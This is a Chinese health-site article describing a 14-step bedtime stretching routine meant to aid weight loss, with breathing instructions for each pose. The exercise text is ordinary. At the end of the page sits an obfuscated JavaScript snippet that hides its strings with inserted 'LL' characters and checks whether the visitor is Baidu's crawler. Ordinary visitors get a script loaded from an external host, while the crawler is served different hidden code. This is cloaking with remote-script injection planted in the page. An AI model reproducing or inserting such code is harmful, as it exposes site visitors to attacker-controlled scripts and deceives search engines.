當前位置:首頁 > 減肥 > 運動減肥 > 正文

放松身心的晚間減肥操

2017-03-08 14:35:30  來源:360常識網   熱度:
導語:每天睡前5分鐘的減肥操,不但可以緩解身體疲勞,而且可以使你的睡眠更好,瘦身在不知不覺中

睡前做一會減肥操,養(yǎng)生又減肥。

1.盤腳做,一邊深呼氣,雙手一邊向前伸展,頭部漸漸向地板貼近。此動作的關鍵在于拉伸脊椎。

2.一邊吸氣,一邊直起上身。一邊吸氣,一邊將左手支撐于身側,舉起右手,伸展右側身體。把臉和胸朝向天花板,指尖繃直。

3.一邊吸氣一邊將身體直起。與反側重復2的相同動作。

4.一邊吸氣一邊直起上身。然后一邊呼氣,一邊將雙手置于身后,頭部緩緩在后方垂下。

5.一邊吸氣一邊直起上身。后一邊呼氣,一邊伸展左腳到體側,身體向左側前屈,雙手置于地面。放松頭頸部,深呼吸5次。

6.一邊吸氣一邊直起上身。后一邊呼氣,一邊用左手握左腳踝,右手舉高繃直。臉朝天花板。

7.一邊吸氣一邊直起上身。于相反方向重復圖5動作。

8.一邊吸氣一邊直起上身。與相反方向重復圖6動作。

9.一邊吸氣一邊直起上身。一邊呼氣,一邊仰躺于地板。用雙手支撐住背部,抬起雙腳,腳尖置于頭部前方。深呼吸5次,一邊呼氣一邊將腿部放回原位。

10.仰躺于地板。一邊吸氣,一邊用雙手抱住膝蓋。深呼吸5次,屏住呼吸,將雙腿放回原位。

11.一邊自然的呼吸,一邊將雙手墊在臀下。一邊呼氣一邊用肘部將身體支起。將頭部緩緩垂下。使頭頂與地板接觸。深呼吸5次。

12.一邊吸氣,一邊將頭部和背部恢復原位。一邊呼氣,一邊將膝部曲起,雙手從內側握住腳底。深呼吸5次13.一邊吸氣,一邊用膝部用力,將臀部及背部支起。雙手置于背部下方交握。深呼吸5次。一邊呼氣,一邊將雙手置于身側,使背部著地。

14.一邊吸氣,一邊用雙手抱住膝蓋。深呼吸5次。

轉載申明:360常識網,歡迎分享,轉載請注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}